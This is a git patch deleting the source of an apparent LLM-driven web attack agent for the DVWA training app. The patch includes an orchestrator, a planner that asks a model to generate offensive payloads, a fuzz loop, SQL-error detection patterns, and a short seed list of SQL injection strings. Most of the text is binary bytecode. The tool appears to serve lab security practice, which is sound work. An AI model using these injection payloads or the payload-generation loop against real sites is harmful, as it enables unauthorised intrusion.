From cd904bad0b7a8755c5027448b7fbe3a30283202e Mon Sep 17 00:00:00 2001 From: Joas A Santos <34966120+CyberSecurityUP@users.noreply.github.com> Date: Thu, 18 Dec 2025 18:10:04 -0300 Subject: [PATCH] Delete src directory --- src/__init__.py | 0 src/__pycache__/__init__.cpython-313.pyc | Bin 153 -> 0 bytes src/__pycache__/config.cpython-313.pyc | Bin 2016 -> 0 bytes src/__pycache__/openai_client.cpython-313.pyc | Bin 2098 -> 0 bytes src/__pycache__/run.cpython-313.pyc | Bin 1239 -> 0 bytes src/agent/__init__.py | 0 .../__pycache__/__init__.cpython-313.pyc | Bin 159 -> 0 bytes .../__pycache__/orchestrator.cpython-313.pyc | Bin 2198 -> 0 bytes src/agent/__pycache__/planner.cpython-313.pyc | Bin 2367 -> 0 bytes src/agent/orchestrator.py | 21 --- src/agent/planner.py | 39 ----- src/agent/score.py | 26 ---- src/config.py | 25 --- src/detectors/__init__.py | 0 .../__pycache__/__init__.cpython-313.pyc | Bin 163 -> 0 bytes .../__pycache__/sql_errors.cpython-313.pyc | Bin 967 -> 0 bytes src/detectors/sql_errors.py | 13 -- src/fuzz/__pycache__/engine.cpython-313.pyc | Bin 1615 -> 0 bytes src/fuzz/__pycache__/seeds.cpython-313.pyc | Bin 542 -> 0 bytes src/fuzz/engine.py | 20 --- src/fuzz/seeds.py | 19 --- src/models/__init__.py | 1 - .../__pycache__/__init__.cpython-313.pyc | Bin 208 -> 0 bytes .../__pycache__/provider.cpython-313.pyc | Bin 7926 -> 0 bytes src/models/provider.py | 144 ------------------ src/openai_client.py | 46 ------ src/run.py | 15 -- src/skills/__init__.py | 0 .../__pycache__/__init__.cpython-313.pyc | Bin 160 -> 0 bytes src/skills/__pycache__/login.cpython-313.pyc | Bin 1222 -> 0 bytes .../__pycache__/sqli_low.cpython-313.pyc | Bin 3090 -> 0 bytes .../sqli_low_smart.cpython-313.pyc | Bin 4067 -> 0 bytes .../__pycache__/xss_dom_low.cpython-313.pyc | Bin 4658 -> 0 bytes .../xss_reflected_low.cpython-313.pyc | Bin 3660 -> 0 bytes .../xss_reflected_low_smart.cpython-313.pyc | Bin 4150 -> 0 bytes .../xss_stored_low.cpython-313.pyc | Bin 4233 -> 0 bytes src/skills/login.py | 12 -- src/skills/sqli_low.py | 54 ------- src/skills/sqli_low_smart.py | 68 --------- src/skills/xss_dom_low.py | 93 ----------- src/skills/xss_reflected_low.py | 69 --------- src/skills/xss_reflected_low_smart.py | 68 --------- src/skills/xss_stored_low.py | 83 ---------- src/tools/__init__.py | 0 .../__pycache__/__init__.cpython-313.pyc | Bin 159 -> 0 bytes src/tools/__pycache__/browser.cpython-313.pyc | Bin 4126 -> 0 bytes src/tools/browser.py | 51 ------- 47 files changed, 867 deletions(-) delete mode 100644 src/__init__.py delete mode 100644 src/__pycache__/__init__.cpython-313.pyc delete mode 100644 src/__pycache__/config.cpython-313.pyc delete mode 100644 src/__pycache__/openai_client.cpython-313.pyc delete mode 100644 src/__pycache__/run.cpython-313.pyc delete mode 100644 src/agent/__init__.py delete mode 100644 src/agent/__pycache__/__init__.cpython-313.pyc delete mode 100644 src/agent/__pycache__/orchestrator.cpython-313.pyc delete mode 100644 src/agent/__pycache__/planner.cpython-313.pyc delete mode 100644 src/agent/orchestrator.py delete mode 100644 src/agent/planner.py delete mode 100644 src/agent/score.py delete mode 100644 src/config.py delete mode 100644 src/detectors/__init__.py delete mode 100644 src/detectors/__pycache__/__init__.cpython-313.pyc delete mode 100644 src/detectors/__pycache__/sql_errors.cpython-313.pyc delete mode 100644 src/detectors/sql_errors.py delete mode 100644 src/fuzz/__pycache__/engine.cpython-313.pyc delete mode 100644 src/fuzz/__pycache__/seeds.cpython-313.pyc delete mode 100644 src/fuzz/engine.py delete mode 100644 src/fuzz/seeds.py delete mode 100644 src/models/__init__.py delete mode 100644 src/models/__pycache__/__init__.cpython-313.pyc delete mode 100644 src/models/__pycache__/provider.cpython-313.pyc delete mode 100644 src/models/provider.py delete mode 100644 src/openai_client.py delete mode 100644 src/run.py delete mode 100644 src/skills/__init__.py delete mode 100644 src/skills/__pycache__/__init__.cpython-313.pyc delete mode 100644 src/skills/__pycache__/login.cpython-313.pyc delete mode 100644 src/skills/__pycache__/sqli_low.cpython-313.pyc delete mode 100644 src/skills/__pycache__/sqli_low_smart.cpython-313.pyc delete mode 100644 src/skills/__pycache__/xss_dom_low.cpython-313.pyc delete mode 100644 src/skills/__pycache__/xss_reflected_low.cpython-313.pyc delete mode 100644 src/skills/__pycache__/xss_reflected_low_smart.cpython-313.pyc delete mode 100644 src/skills/__pycache__/xss_stored_low.cpython-313.pyc delete mode 100644 src/skills/login.py delete mode 100644 src/skills/sqli_low.py delete mode 100644 src/skills/sqli_low_smart.py delete mode 100644 src/skills/xss_dom_low.py delete mode 100644 src/skills/xss_reflected_low.py delete mode 100644 src/skills/xss_reflected_low_smart.py delete mode 100644 src/skills/xss_stored_low.py delete mode 100644 src/tools/__init__.py delete mode 100644 src/tools/__pycache__/__init__.cpython-313.pyc delete mode 100644 src/tools/__pycache__/browser.cpython-313.pyc delete mode 100644 src/tools/browser.py diff --git a/src/__init__.py b/src/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/src/__pycache__/__init__.cpython-313.pyc b/src/__pycache__/__init__.cpython-313.pyc deleted file mode 100644 index 8f305dfa7978942b619214977095aaae8d9f5a63..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 153 zcmey&%ge<81WdsTGeGoX5CH>>P{wB#AY&>+I)f&o-%5reCLr%KNa~h_enx(7s(yB2 zPNu#~YH@Z+eu2JYdTL&Yqo-~FkV-8s(N6^N^^1#=_2c6+^D;}~z`@ zBu1)4PmRX2{7^&ADOg1g)RF$gslv^rt>8&%nwu@B7V|ix&`M>!e z^V-AC&UQe{XMa8^|Lg+bFD5jKyWTmxLOWjr2}s-=_?Sc7AnWsUJmSM33M5wqNJ5c| z)A_6*SJ4#(aYq11DDk5E4UT2?xHh;V&f8t2|ew**M`L5{ua}G#74IgpNSvhpP*hSYW*wR<8 z6l%;X3?E%_r!R#Y)&gJ&EOFQs1DFqhOg8|=iNcxx&uHvao}cdlpaTp7?9w?Mpg^&w z=wauO#?;p`rpSN!xAK63_S&3mY3r2K-^{PYxsv)58G77%iy<1_0JA8aM&Z&R<{R;^ z196CWB*ipUy@cNg6e0fkTq>P~`9f}KHkB@rHlw2GvP%3L>{`GIGH$DD3L^eoKE05f zg~|LZoJ%hgI@2McTv6dIrAmBt!Zx_&E>+BPapJ2(wl(6(7` zqvT?S1Z-lpQi1h!WV1}Vo8$sq%oNheltj2m(%ocrXqJ&8uVK=a%w}^pv$N77%;cm+ zX)D|eb#&tV#j$bvn;2cYeMctTDCv?l&A6kf*n}(@OgyQjn@N@_@iB(w0u}u>@nope zY+90tV4_Whc*@k9reORnSP=V&2SQ!mP#`4jkOjV}vAz$&Pd8<)uIYksT}9Z`R9(>x zs^$$$+DeMa?7L|g3PN7C!7gkfLTOpo4O2E%L&p#zA5|egtB$jZUIl>YS*N(Fn<&J3 zZd}n+lQt$&D=5N-1eO~*#o*JnykZy{2||dO_`#0n?2vpd6Fm(z8JQmA6Wx8YC`X>%ZX>|()Y{XE!VE)YX!}U zZydz&ejL}#JFnt*Ukz1X#_#TN&qkh%d?W71@4g(WZs&FucZa`PwuEXU=(EpPtnkD^ z_~L%}q7|NYqMv>p3_V!Bzr4Hke98)*KL}ph4_>l@i67SYgQ@Mzy|rJ2)IW!A5Z&T1 z`>OpY_N52g?Bx{Q#8auR$vWLR#6FgYJ%zT4cyRrZK!bGbkp2NWPb=cN;+)5;Xo`yL pmBvw8y>)RM_d6K)4S3%P0WQtmtG)xQ{rfEN^?aH5+=JMo`Y*ca*=GO% diff --git a/src/__pycache__/openai_client.cpython-313.pyc b/src/__pycache__/openai_client.cpython-313.pyc deleted file mode 100644 index 9e801f4f0f74b6eff2f33a8cb90f14dbafe14427..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2098 zcmZ`)OKclO7@mE2{o2@h^^r7fhor)F+t@{I5UmJR9;j-frX?E-p+qtpXJT)&*cMnkEI;w0i+Zz;Z|tG~v#MoSVJl)qt=MtJik~t(?EuPY)8>okBGZ<3h=Hyg`3)keB>&vBcAvwbl3h zGPWtfHfHuB!7F4QGg2s1hgYy&Bp%P;3!YoSen6W3k1D{DRFQ#TQ2(XdP{3TN0 zxNZ{~ot?&4Qr!35)M=dZ?8{COg1oxuxNaUGTE1Fvox;*pUI|DZqRX@L{IbKZuGlbn zz8|EH;S{%Nk#KpwOkE7PGU9>@pGx6^&21?P?27B#3sUTrT~~?#4nW;@iIlUFPkHKE zCN|c%cc){*U=@I88E&smeU~(^q{oF`W`q_$yDi6eXNo_3FURj^oLg|~gf3$h@k`A2 z@_s$nv>`&v{sM7D$nl_*A`VvT)qo<45ch+8AUc-q)qJDWdG0R}kBKBDEbu)>>PXmp zYE8XzjmrKPy3Ac55m|&f&fA5hv<{8|MPW415V}lUM4#rEZW9`GmM{QNXbO-tjWgJy z1VE?q9S|n;iDx_cM!;>&hyt53vLK>wuNFukQ4{f2tn!VDIncR`+g^cyV|e6*F7p>5 z2{}s}R6bZ#z6LZ|4_`VL8eio!4Lp<2G_DUZoGtmwB)eq0PIjEIB|s-TBHMW6+~7r6 z2;@i1(H^+AmzS3+-?&sX1GZ&mED6=Qj%tPyeP5|*C={>7wCJ84 z1NH7-fA{mgKf+q{Rke@ hVdKOdZR3sGUJXh9Zui~7*C+0lzB=${ou?zEg%2@ diff --git a/src/__pycache__/run.cpython-313.pyc b/src/__pycache__/run.cpython-313.pyc deleted file mode 100644 index 838094c826f77b78f15a180915851fe8f6131784..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1239 zcmZ`%&2Q936o0m7ZEvz0mCq`O!#3@qjRp;nlZW0k3n>S#+^lQ2>Pw8>JbsWTnz(g|S3 zP1Dh5Zvc2Ez)fQcW=5nn=qMe!7;8WjyXCt{vIL1q6>-At`^Z1r8QC52O7N}9H7FQ8P%Go?IVS+eYCJz#|!H~ zPr-`nlyN>|XSEsGZ4{gVSmRgL&3ZlaSchhd>&LoT)|<8MDD}OloAPY7ak_EZQiaLr z?S9B;AdG;ndi^L{H|q6#JYQOdC`D-}OvIskoV$#!M%2$};6~|P9O>;S%&iF-v!5<@e+f&gA9@eb^;Y z%F7m|9t-hBa*L;lC=T#UTC3H>XLdJ@slDb!p}j!)T9)?g z`3@#Df2n>I73G=jNo;fG+qnIwdS3|=dtt(+kV2-wH}E%rSLH)H<=U_1+ID$raPcM4 zA1vQr-fX@&_OrRuxV+W4ywm9Za;-a9-XdWUz4U^-1vnF{gXO=FEKy&MSD(y1n)~MS z!NQyB@y+b}jqf&|E&R}Y-rTO*gT+^*{Ou=CrXNplUVk?K(-&J~v%isZ`}jNv({*K5 zu4|Qt#yp&S-p9NeNs@Rmb=@C>P{wB#AY&>+I)f&o-%5reCLr%KNa~iIenx(7s(yB2 zPNu#~YH@Z+eu2JYdTL&Yqo-~FkV-8s(N6^N^^1#=p{)4$%)HE!_;|g7%3B;Zx%nxj ZIjMFKEC9L-CH(*Z diff --git a/src/agent/__pycache__/orchestrator.cpython-313.pyc b/src/agent/__pycache__/orchestrator.cpython-313.pyc deleted file mode 100644 index b3cfe809506c7ebeed0ff504cce23cfb9ec38cf0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2198 zcmcIl%}*pn6tDiEyJ46wSYQ`pX!)4kQD7EzG;vlE1ea{H5Mqll*-1K0PXjGI-D6cF z%O)fwUN)ZgAPH_rmNh2Ajid1|@W{s`NM|>DP!HT#C&sIbI32*ZafZ;69C-wMM7}FE^gq{RydBIZBTRYKbB5s+#ly1BC&7|WwMblM% zY%SO%z-HiMHCQkM)iOOG*Hufd>3KF*uZ>TCJdjPRfv=VvYf&|=!0|mY*mM(?Onx%0 zF5A@w3nngDe!(uNWYKY5lKb0*;|2CS>;dakhp6TkrsJBkuC302i@Bv>3EQgc`z3IC zLUWuJLUGKof>0RoRzhVI;861uj?QtRT!VJPQ(X=lTz}s2!sJ~-3~bN2wiVa~!}XU# zg?#QhOp4J-0#VjxB2+K@N83eYD?$pQ8M-)qC(;aT4Q=*4N323TPSM-KFuROq8OmarQ(u!QOh@%2(;pRu0d=$G+gAxiU8_u@0&qUSGr)vEoT3a_{e3`1qY zUilDXAH#qO1Nb#yghEqQ_N2o`s9gp_j{9JkCXT!TYz_S^H-CNeQ0{yZYv1VFZrhgk zI<6nahW3=9Cz0fXzOUZjxO^Dt-V?i7)~3>}p=>}kwhSYbf|Ziv&0`u9rom$hJ49Hf zomBl=s##_UX1Qf$hozbwAxkw2LV&+5j2i}gWq!auAYvE{?N0RyRU=Vu6#c@IYY*cA z*oBs1@+GiSf#bN}d7cyhln{4yAEln6wr6Pd2(9j;)#nn5y?)%DJH9e<+?qX3WT@OV z`8=+?!>>vA#ryh$Ya62**{$9!vOT(W_wnG~E7$j1hW4UE`^uXYq;UM{C4uYN5Ka+v XTcfPo9@}l*wRSJ>O#MMeS%UrolN6+j diff --git a/src/agent/__pycache__/planner.cpython-313.pyc b/src/agent/__pycache__/planner.cpython-313.pyc deleted file mode 100644 index 44681e2ce7da3839bca3fb18b5db4c58ee3fe20d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2367 zcmah~Uu+vi8lUy9|LodM`Y*K2mFqZATyv={)IYlV0I4LjB%x`Qt&c)-M3eQz*>pX# z%&gP1n@V}Ohg6`eUy$;^Ln=VPTOUB;5mX7?W1~Y#v~Z#)c-LOc^BEp)~3*;CbY?zh)wE3$He%6Rp9E^a9K)Jh<7Mo7 zgwbUpaHCEzx%1JT_c@ks-S?<0wobjy8<+@+36^A$;;VE4OX@U)8#FPgQ5F>OO!RbY zUz(X1yM!n03)98c<~etTG8`TWT)=vj1SDT(4bNM> zRxB2;kLIr~H324C`IutN#XQnDpQP#qTdV?RqCh;90q%;Cggcg zYv^9~<+ZaNBW4cW8#>gU=)_~@;f{{t=1&$%@7uO=TUKuKnSWZPwXtv0Lv8216WeLL zmBu?y9NJvCZG2wd8aTVI@1zITCLe%76s8==LXC@NnDOB{^Zj~{OG>LUOe{32kO)UT zt1l)@qO$)RG(%MOMz`#3y%HNhwo%bQ$16JM#Br0w|4%Et+%I*O_(dxu{&y>oJqT42 zGwL3XiJdH=zO@Tl2{HI)sY-G$dSwn;&HROZb2cI=WuSlJVXHxFo`=9!%$e+C4ivh# z#LSBMs}si&y1elxh)GqQFC#QN*gst{PxgqzPL<*I5n>8Fq-J*aF^|SaXpGLkiBKA0 zK)#?o^ag|hD>2)w=mr83uo@TO^hH{QHs-j_tJLFog$P%5`)5>Q*zify|L8xge2(;&aBZ@M@DcX-)nkmik}7+(rDM{qG2&r|u&N6z05Jj* z!sCB_?F@dEUoBb}nAgNz&hK*9V-Lv#`v4y)4KE5)eV6wUBzn4F3dk}NdzIR!)DWmp zhgJ%88Hg|r%JoCtqby7i->0lvu*4ySd{U|3D|J|@CzRT+)B#YT?t2pWhPiKrnlDue zE4Jy1IH(XqJr5KfAH; zwUzrKwl;Pzon0IMCcA50`*!f)M(#a(doZ^(n7j4IolN%Txf|!+o>~yldpd@8BuZ z1?|2f<3a{#z3IEGCKNdd#aKf9vxbSNA*6smP}EI}N=C%2;%NoYp}?Z}e1amA-8iP6 zhjR^&z9^mpkZNBE9D+K!rfJ`yku5axFO>Ut=D^$2Yi7qtYlH3a4uWCh(obsmad@9L nvN_g4Fx(EJ;fwKq?EP{gn%;fwjqXV3-9>kcEdNL0BJV!~V7^>_ diff --git a/src/agent/orchestrator.py b/src/agent/orchestrator.py deleted file mode 100644 index 440057c..0000000 --- a/src/agent/orchestrator.py +++ /dev/null @@ -1,21 +0,0 @@ -"""Minimal orchestrator that can call planner (GPT-5) to pick actions. -For MVP we call hardcoded skills; planner integration is available for future loops. -""" -from typing import Dict, Any, Callable -from . import planner -from ..skills import login, xss_reflected_low, sqli_low, xss_stored_low, xss_dom_low, xss_reflected_low_smart, sqli_low_smart - -SKILLS: Dict[str, Callable[[str], Dict[str, Any]]] = { - "login": lambda base: login.run(base), - "xss_stored_low": lambda base: xss_stored_low.run(base), - "xss_reflected_low": lambda base: xss_reflected_low.run(base), - "xss_dom_low": lambda base: xss_dom_low.run(base), - "sqli_low": lambda base: sqli_low.run(base), - "sqli_low_smart": lambda base: sqli_low_smart.run(base), - "xss_reflected_low_smart": lambda base: xss_reflected_low_smart.run(base), -} - -def run_skill(base_url: str, skill: str) -> Dict[str, Any]: - if skill not in SKILLS: - raise KeyError(f"Unknown skill: {skill}") - return SKILLS[skill](base_url) diff --git a/src/agent/planner.py b/src/agent/planner.py deleted file mode 100644 index b5cb7a0..0000000 --- a/src/agent/planner.py +++ /dev/null @@ -1,39 +0,0 @@ -from typing import Dict, Any, List -from ..models import get_provider - -_provider = get_provider() - -def decide(context: dict) -> dict: - """Mantém compat com o antigo: planejar uma ação simples.""" - system = "You are a safe web security agent. Return STRICT JSON." - user = ( - "Given this context, propose one next action as JSON:\n" - "{'tool':'navigate|fill_form|click|noop','target':'url|selector','data':null|{...},'why':'short'}\n\n" - f"Context:\n{context}" - ) - res = _provider.complete_json(system, user) - if not isinstance(res, dict): - res = {"tool":"noop","target":"","data":None,"why":"fallback"} - return res - -def propose_fuzz_payloads(category: str, page_context: dict, seeds: List[str], budget: int=8) -> List[str]: - """Pede ao modelo variações de payload com base nos seeds e contexto da página.""" - system = "You are an offensive security payload generator. Return STRICT JSON: {'payloads': [..]}." - user = ( - f"Category: {category}\n" - f"Seeds: {seeds}\n" - f"Page context (inputs, hints, server msgs): {page_context}\n" - f"Generate up to {budget} diverse payloads. Focus on low-noise, high-signal candidates for DVWA Low.\n" - "Only return JSON: {'payloads': ['...','...']}." - ) - res = _provider.complete_json(system, user) - pls = res.get("payloads", []) if isinstance(res, dict) else [] - # sanity filter - uniq = [] - for p in pls: - if not isinstance(p, str): continue - p = p.strip() - if p and p not in uniq and len(p) < 256: - uniq.append(p) - # fallback: se nada vier, retorne seeds - return uniq or seeds[:budget] diff --git a/src/agent/score.py b/src/agent/score.py deleted file mode 100644 index 28cbae9..0000000 --- a/src/agent/score.py +++ /dev/null @@ -1,26 +0,0 @@ -import json, argparse -from .agent.orchestrator import run_skill - -SUITE = [ - ("xss_reflected_low", {}), - ("xss_stored_low", {}), - ("sqli_low", {}), - # depois: ("command_injection_low", {}), ("csrf_low", {}), ("upload_low", {}) -] - -def main(): - ap = argparse.ArgumentParser() - ap.add_argument('--target', required=True) - args = ap.parse_args() - results = [] - ok_count = 0 - for skill, kwargs in SUITE: - res = run_skill(args.target, skill) - results.append((skill, res)) - ok_count += 1 if res.get("ok") else 0 - print(f"[{skill}] -> {'OK' if res.get('ok') else 'FAIL'}") - print(f"\nScore: {ok_count}/{len(SUITE)}") - print(json.dumps({k: v for k, v in results}, indent=2, ensure_ascii=False)) - -if __name__ == "__main__": - main() diff --git a/src/config.py b/src/config.py deleted file mode 100644 index d954c69..0000000 --- a/src/config.py +++ /dev/null @@ -1,25 +0,0 @@ -from pydantic import BaseModel -import os - -class Settings(BaseModel): - # Provider: "openai", "ollama", "llamacpp" - model_provider: str = os.getenv("MODEL_PROVIDER", "openai").lower() - - # OpenAI - openai_api_key: str = os.getenv("OPENAI_API_KEY", "") - openai_model: str = os.getenv("OPENAI_MODEL", "gpt-5") - - # Ollama (LLaMA) - llama_base_url: str = os.getenv("LLAMA_BASE_URL", "http://localhost:11434") - llama_model: str = os.getenv("LLAMA_MODEL", "llama3.1") # ex: llama3.1, llama3.2:latest - - # llama.cpp (local python) - llamacpp_model_path: str = os.getenv("LLAMACPP_MODEL_PATH", "") - llamacpp_n_threads: int = int(os.getenv("LLAMACPP_N_THREADS", "4")) - - # Safety / target - allowlist_hosts: list[str] = [h.strip() for h in os.getenv("ALLOWLIST_HOSTS", "localhost,127.0.0.1,dvwa").split(",")] - dvwa_url_env: str = os.getenv("DVWA_URL", "").strip() - headless: bool = os.getenv("HEADLESS", "true").lower() == "true" - -settings = Settings() diff --git a/src/detectors/__init__.py b/src/detectors/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/src/detectors/__pycache__/__init__.cpython-313.pyc b/src/detectors/__pycache__/__init__.cpython-313.pyc deleted file mode 100644 index b30f559d6cf1e9342179558cfba9acbccc69d989..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 163 zcmey&%ge<81WdsTGeGoX5CH>>P{wB#AY&>+I)f&o-%5reCLr%KNa~i8enx(7s(yB2 zPNu#~YH@Z+eu2JYdTL&Yqo-~FkV-8s(N6^N^^1#=^;1$yQj<&ai;DH*<1_OzOXB18 i3My}L*yQG?l;)(`6|n-11X)=OVtiy~WMnL22C@KsQzyRw diff --git a/src/detectors/__pycache__/sql_errors.cpython-313.pyc b/src/detectors/__pycache__/sql_errors.cpython-313.pyc deleted file mode 100644 index ff05aa80f6a6e4162a46a7be65889ef8a02f0442..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 967 zcmZWo&rj1(9RI$y8)IW51Py9pENYA;VXXl)F|cIHB0mSLOhcGr?aDUk+VNgTwjIb4 zFJNNuLV_oe#Kf!qB^Zo{r#DaBki`UUzOo<0_>%AMpYQY9S}^Dbb~yDzb`k;na*gI` zYbdqXOxXq%R5S?~WKg*|gi#80!($+v%%~g2t^rt(f`q48elC-)-+OL1wIQyq&2rPd z009tLCkwEk@+prhq`ZTI>bU|h1>BZFgsVrFLGm8DWpT+<=~CyWL{hdKtrYH?E;Fmr z`9#B3&dS^u^JTJXE>(JxmTua_NQ^8o|#;pOmVW?3$)X2LD5*Pok<$&9Al(7i9!9d!EBr6@e2w-<5S_2xLn3(69?bcx1 zBf@k~9o!7uVrW>;N<8Jl3Pn10*Cs9##VQ?@vv%H)S2Qyxj~Zmfu?uoE zV^~gfynmJngE+G0+A_hqoHiUocWg{#7w|LKNVrg@?ZYg^C>3yoGEm7>Q*Q_%2>2|)5GmW%_ z>f5_eJjd?$OoRW-!=236!H8U7?4$}m1EFsrdfBaE=CJ}oWRbx2Baw$(7OobP=ZJu>!kfH){H&E&u_=fX#x@Z~^e2F>T z0GVR!h(`$hfc9g-8{(?|-ys+nIS7n=>H9Rd@nCCWbK>pl&h_{G@A|)Y-2UA6H84{3 e9SI2C+2N0XiCy83D^8C+&=Dc-ulD9v6okL?&f@d{ diff --git a/src/detectors/sql_errors.py b/src/detectors/sql_errors.py deleted file mode 100644 index c819b62..0000000 --- a/src/detectors/sql_errors.py +++ /dev/null @@ -1,13 +0,0 @@ -import re - -SQL_ERRORS = [ - r"SQL syntax.*MySQL", - r"Warning: mysql_", - r"Unclosed quotation mark", - r"SQLSTATE\[HY000\]", - r"You have an error in your SQL syntax", -] -compiled = [re.compile(p, re.IGNORECASE) for p in SQL_ERRORS] - -def has_sql_error(text: str) -> bool: - return any(c.search(text) for c in compiled) diff --git a/src/fuzz/__pycache__/engine.cpython-313.pyc b/src/fuzz/__pycache__/engine.cpython-313.pyc deleted file mode 100644 index 8a70788b418f2e5b3e5e2a361d73a4a1b41584dc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1615 zcma)6O>7%Q6rTOD^d(-W?fKm|zhg7Nrxu6{3R*6e0A+eE#6b2BL=q0yQQSZFjc#|HA#2nsxJMX=D zf8X1qNF<2hdOUGe@@7C_`p-`$aSg#?`tHecAiH|@{&M;YA^@ZNg*fZI&#v8$gPj5 z8uIMH^Ledb4Rdc2Dn=4r2Ry-q%;eb;wV9kM={A!l%mxcw)eJ+MH}HYTEd=&*l~`4a z;`~Bwc{yLz8iu76C=2MCjf)lmkE&M0dEKrvAH^6{{`p#=h;8O4*sc*%mwBxA2>^#? zp`$xM?xC#EzDF4$6CZ6`nsS!gxF>t!eZ9lGJLQ?aA@~?=zv6Mzm-eYbw$rmqOWDwg zEP7U>yg)cI>O%=}`L(N7Wxix;id%$oNtvCUQ;uub3_5%*;U_$KCL311!7go zxIvjz(dtYxunA^7F5%c9JSyQ>U_Sm5WpdTB4C;p)#Xamwa?z^bWLYyx$rPq#+o~of zirBO#-XHn^7^Zd-+H2ZLO7tWjK@ywAl8J|_4b}|`OkfUqT{8=%0!Wmcg~xf%=opYD zdJ=wptA7W#!l~xupP{Y|`K!nmkxl${r4<`&g@&4`{ZN+^OKil~7rxcEE_}1pI+Jih z1CBg!1pbHxY|?q`g2GQHC;}+;-q+u8XU|mqfHw05m3*Bg{fsiSsQ7=kMUfWGM zEnhzwyZeGmRKc_8Z(nLqMp~w#0s~5m|I-IDn;S>y6hQwGO;TkK0AAeZd|n*w1wLpCV?n*nl}1j|OcAyUFeUI9kV z17Y$!V224+Cc!I|{~uh$kshv$@~L_W0chfI$q`E_kS2N@j;&u<8E>Zkh@4#!evkI7 ze|)#RBJGEwYnN9quaB&aua56`_uQF&+||8SU#)M-Yq#&-eh}Z%zboD^I>YZiJkz?E zYV}V3BJHMroq9Coq>IktQfs!{nlgUtHMno;X#_>j9Y#?&)|?^dAnvtwvqetanXUXidCo? z_#H9;mK=igb0CM3AP9e>!4?|)3%&VNmW4}O@k0b`=Ovf@Sa|r>PbF7$KD=?vvw7#1 zzLzaL<93JPpb*>4Y|$Zs_W$)FoLje*s9KdA|Sv diff --git a/src/fuzz/__pycache__/seeds.cpython-313.pyc b/src/fuzz/__pycache__/seeds.cpython-313.pyc deleted file mode 100644 index 5ed9b762dd5b8322f4af3ea7a218ab0779c4f1da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 542 zcmZ`$!A`Joq+oMksiymX7C@%$eeN~yZ5sQDyb zFt*(l{_g6N(LBb}q{VB!aJn^v`tJ<6t_H0OC}m~0-|Y-t$Fbe4dhNQyfpgY%POlt$ zL&`a6_s-Yh3s~iQ$WG9h#28JyC`2}9lZ4DrJK$rqJIzZDm?g-|W5oXe-OSSzF^qlI wn%!k3BPRYl!WJ!YDZXdGYW(_;1VLDeMMb List[str]: - """Combina seeds + LLM proposals.""" - props = propose_fuzz_payloads(category, page_ctx, seeds, budget) - pool = list(dict.fromkeys(seeds + props)) # dedup preservando ordem - return pool[: max(budget, len(seeds))] - -def try_candidates(try_func: Callable[[str], Dict[str, Any]], candidates: List[str]) -> Dict[str, Any]: - """Executa candidatos até achar sucesso, retornando o melhor resultado.""" - best = {"ok": False} - for p in candidates: - res = try_func(p) - if res.get("ok"): - return res - # guarda “quase bom” se tiver um reason/signal - if not best.get("ok") and len(res.get("evidence_excerpt","")) > len(best.get("evidence_excerpt","")): - best = res - return best diff --git a/src/fuzz/seeds.py b/src/fuzz/seeds.py deleted file mode 100644 index 00c9b70..0000000 --- a/src/fuzz/seeds.py +++ /dev/null @@ -1,19 +0,0 @@ -SQLI_SEEDS = [ - "1' OR '1'='1' -- ", - "' OR '1'='1' -- ", - "1' OR 1=1 -- ", - "1' OR '1'='1'#", -] - -XSS_REFLECTED_SEEDS = [ - '', - '">', - '', - '', -] - -XSS_DOM_SEEDS = [ - '', - '">', - '', -] diff --git a/src/models/__init__.py b/src/models/__init__.py deleted file mode 100644 index 1d245bc..0000000 --- a/src/models/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from .provider import get_provider diff --git a/src/models/__pycache__/__init__.cpython-313.pyc b/src/models/__pycache__/__init__.cpython-313.pyc deleted file mode 100644 index c1c1d4dbaa690954436dfee88c91c2c51b6e9894..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 208 zcmey&%ge<81TP*h%uoi>k3k$5V1hC}3ji5Y8G;#t8NC_27>gJc7}A+EnO`yjg*6#( z@ua7g#1|Chmu04;7Wrv1-Qs|8ikN{aRx*4Bk_@-(^)vEwQ}weGb29Z^Qj4=o@(c7G z(^K;JIedr@QKD>FvPLgE^h2~PTejqF99e$Jie-mmcHK$|JEBGsV~WGv z85y>_-Rf6X-U5x?Y-(k4fAJg)COg~kx=^<(ncg(Ba!R}S?hi3Fm(>l31g0f zTv02SS|?~-6;_$V~zu?FKLok{{&LrcPl&fLhu&bbylN9Yr9Uu&^rHL2YP$wug283uFjZCXE zO5~E9N=A+=+9h4hLT7TpY9Os01MwOeBb1Q{ zWhI7k5y&yTLb4mz14bL%IQ_dIX`2ZJe z*r}q=(sTkBUP@Rtw*&3|8kvHP8@Y{^+;GL? z;2*OoEPLYdmuBTuvBnpVPbR6Rr;=$UtwJ@Y>6C7T9w<(VqWNeG2%|n8*K}D=CgQTL z)8zOpIAA<(4rUFDhNHD5VLI|2czT)S`Rz9n@AKOWENg3994rvXmNYZFqu(9;QSk2R zfBEZ=QEPRCeI($&oXS4f52|V(1YqGMZVdg;2L5LsvpvE0yw+D)_CEY1p6GQr=W zXk{(50ZJ9FXBx@~ZtT?bJ@hsWKY%%s_cd7SD(^R~gNhB_hpvkDUi&t@Q^KA!XJQbO z=0~w7GaW4EY1?)Zvu%b%(UP@_EisFtr&Og;T$P!kxN}uW;$n=%cd?Q!#!B|RP>W9y zR&q#!$w6eWo=95AIewCSfoma?%>SW%YWny;pJiZOf2wUxqite*6dkZC zN#2Wk6fvkOm5$=H5EDwfBa7tI#ulQ85miZIO1o9c&oTRm#qv6tCZb313#SP^%F2gCGoKccg6)z`c zad2AJ#X;-TPO525gi~6iik5-05}#D*4AdiM=yFMlD2taBs=fI=Rh&>o>G-fk-BdA+ zDs48SQeCEd#Dttgx*?0Yaz$6g%q$GH+ae%cuJbAtCzCUKpb}>zi_zj}nmBNNNYs?a 